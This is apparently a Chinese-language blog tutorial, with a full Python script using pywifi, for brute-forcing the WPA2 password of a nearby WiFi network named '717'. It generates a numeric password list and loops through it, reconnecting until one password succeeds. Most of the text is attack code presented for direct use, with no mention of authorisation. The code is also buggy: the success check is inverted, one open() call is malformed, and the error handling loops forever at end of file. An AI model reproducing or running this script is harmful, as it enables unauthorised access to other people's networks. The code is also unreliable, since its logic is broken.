工具:
python3.0,pycharm
python库:pywifi,time
思路:
导入模块 抓取网卡接口 断开所有wifi 读取密码本 测试连接 设置睡眠时间
流程:
1.导入模块
import pywifi
from pywifi import const
import time
2,.抓取网卡接口
wifi = pywifi.PyWiFi() #初始化
iface=wifi.interfaces()[0] #获取第一个网卡
# print(iface.name()) #打印网卡名字
iface.disconnect() #断开连接
time.sleep(2)
#判断当前连接状态,const.IFACE_CONNECTED为常态,代表连接状态码
if(iface.status()==const.IFACE_CONNECTED):
print("已连接")
else:
print("未连接")
# iface.scan()#扫描wifi
# result=iface.scan_results()
# for i in result:
# print(i.ssid) #打印出扫描到wifi名字,中文名字会乱码
3.断开所有wifi
iface.disconnect(); #断开后及得测试连接状态
4.制作并读取密码本
制作:
import itertools as tol
#引入迭代器
words ="1234567890"
r=tol.product(words,repeat=3) #密码位数
dic =open("wifipwd","a")#a模式。没有文件自动创建
for i in r:
# dic.truncate() #清空文件
dic.write("".join(i))#字符串连接
dic.write("".join("\n"))#换行,方便后面按行读出
dic.close()
读取:
file=open(path,r);
file.readline(); #按行读取
5.测试连接
profile = pywifi.Profile()
# wifi名称
profile.ssid = "717"
# 网卡开放
profile.auth = const.AUTH_ALG_OPEN
# 加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密码
profile.key = passwd
#删除之前的连接文件
iface.remove_all_network_profiles()
#加入新的连接文件。测试连接
newprofile=iface.add_network_profile(profile)
iface.connect(newprofile)
设置睡眠时间,在while循环中连续测试,直到成功。
while(True):
# 捕获读取文件出现的错误时的异常
try:
passStr=file.readline()#读取一行
bool=gic(passStr)
if bool:
print("密码正确",passStr)
break;
else:
print("密码错误,继续测试",passStr)
except:
continue
完整代码:
import pywifi
from pywifi import const
import time
# 导入模块
# 抓取网卡接口
# 断开所有wifi
# 读取密码本
# 测试连接
# 设置睡眠时间
def gic(passwd):
wifi = pywifi.PyWiFi()
iface=wifi.interfaces()[0]
# print(iface.name())
iface.disconnect()
time.sleep(2)
if(iface.status()==const.IFACE_CONNECTED):
print("已连接")
else:
print("未连接")
# iface.scan()#扫描wifi
# result=iface.scan_results()
# for i in result:
# print(i.ssid)#打印wifi名字
profile = pywifi.Profile()
# wifi名称
profile.ssid = "717"
# 网卡开放
profile.auth = const.AUTH_ALG_OPEN
# 加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密码
profile.key = passwd
#删除之前的连接文件
iface.remove_all_network_profiles()
newprofile=iface.add_network_profile(profile)
iface.connect(newprofile)
time.sleep(5)
if(iface.status()==const.IFACE_DISCONNECTED):
return True
else:
return False
# 读取密码
def readpsd():
print("开始破解")
path="C:\\Users\SAMSUNG\PycharmProjects\practice0829\wifiKey\pass.txt"
file=open(path,"r")
while(True):
# 捕获读取文件出现的错误时的异常
try:
passStr=file.readline()#读取一行
bool=gic(passStr)
if bool:
print("密码正确",passStr)
break;
else:
print("密码错误,继续测试",passStr)
except:
continue
readpsd()
GitHub入口:https://github.com/cainiaolibiao/inspiration01/tree/master/wifiKey